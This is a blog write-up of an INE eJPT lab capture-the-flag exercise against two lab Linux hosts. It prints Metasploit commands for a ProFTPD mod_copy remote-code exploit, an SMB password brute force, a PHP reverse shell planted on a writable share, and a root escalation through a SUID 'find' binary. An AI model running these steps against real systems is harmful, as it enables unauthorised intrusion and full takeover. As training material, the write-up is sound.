Hello everyone!

In this blog, I’ll walk through Exploitation CTF 3 from INE’s eJPT path. Two Linux targets this time — one running a vulnerable FTP service with a hidden local service, and another with a misconfigured Samba share that opens a path all the way to root.

So, let’s dive in.

Q. A vulnerable service may be running on target1.ine.local. If exploitable, retrieve the flag from the root directory.

As usual, I started with an Nmap scan:

nmap -sV -sC target1.ine.local

Port 21 was open running ProFTPD 1.3.5, alongside port 80 (Apache). I searched for known exploits:

searchsploit ProFTPD 1.3.5

A Metasploit module came up immediately — exploit/unix/ftp/proftpd_modcopy_exec, which abuses the mod_copy module to execute arbitrary commands via FTP. I loaded it up and set the site path to /var/www/html — the default Apache web root on Linux — since the exploit writes a payload there to be triggered over HTTP:

use exploit/unix/ftp/proftpd_modcopy_exec
set rhosts target1.ine.local
set sitepath /var/www/html
set lhost eth1
run

A shell session opened. I upgraded it to Meterpreter:

sessions -u 1

Then listed the root directory:

meterpreter > ls /

flag1.txt was sitting right there in the root.

Q. Further, a quick interaction with a local network service on target1.ine.local may reveal this flag. Use the hint given in the previous flag.

I read the flag file:

meterpreter > cat /flag1.txt

Along with the flag value, it contained a hint: “Remember, the magical word is ‘letmein’”.

The question mentioned a local network service, so I checked what was listening internally:

meterpreter > netstat

Port 8888 was open on 127.0.0.1 — not exposed externally, only reachable from inside the machine. I dropped into a shell and connected to it with netcat:

meterpreter > shell
nc -nv 127.0.0.1 8888

It prompted for a secret passphrase. I entered letmein — and it returned Flag 2 directly.

Q. A misconfigured service running on target2.ine.local may help you gain access to the machine. Can you retrieve the flag from the root directory?

Fresh Nmap scan on the second target:

nmap -sV -sC target2.ine.local

Ports 80, 139, and 445 were open — Samba running on a Linux target. The HTTP title read “Can you Pwn me?” — a clear invitation. I brute-forced SMB credentials across both users and passwords:

use auxiliary/scanner/smb/smb_login
set rhosts target2.ine.local
set user_file /usr/share/wordlists/metasploit/common_users.txt
set pass_file /usr/share/wordlists/metasploit/unix_passwords.txt
set createsession true
set verbose false
run

Six accounts came back with valid credentials, all with the same password. Multiple SMB sessions opened automatically. I used the administrator session:

sessions 8
shares
shares -i site-uploads
ls

The site-uploads share was accessible and writable. The name itself was the giveaway — this share was almost certainly mapped to the web root. I uploaded a PHP reverse shell set to my IP:

Set up a multi/handler listener, then triggered the shell by navigating to:

http://target2.ine.local/site-uploads/shell.php

Shell came back. Listing the root / directory showed flag3.txt right there.

Q. Can you escalate to root on target2.ine.local and read the flag from the restricted /root directory?

Still in the shell session, I upgraded to Meterpreter first:

Then dropped into a shell and searched for SUID binaries — files that run with the owner’s privileges regardless of who executes them:

find / -type f -perm -4000 2>/dev/null

/usr/bin/find itself had the SUID bit set and was owned by root. This is a classic privilege escalation vector — if find runs as root and can execute commands, any user can spawn a root shell through it.

I checked GTFOBins — a community database of Unix binaries that can be abused to bypass local security restrictions — for the correct syntax:

find . -exec /bin/sh -p \; -quit

whoami returned root. Flag 4 was in /root.

Final Thoughts

Two techniques in this CTF are worth remembering beyond the lab.

The hidden port 8888 on target1 is a reminder that netstat inside a session reveals far more than an external Nmap scan ever will — internal services are invisible from outside and often completely unprotected because of it. Always check what's listening locally once you have a foothold.

The SUID find escalation on target2 is a textbook GTFOBins vector. The lesson isn't just about find specifically — it's about building the habit of checking for SUID binaries early in post-exploitation. And GTFOBins is the resource to bookmark: if a binary is on that list and has SUID, you likely have a path to root.

Thanks for reading!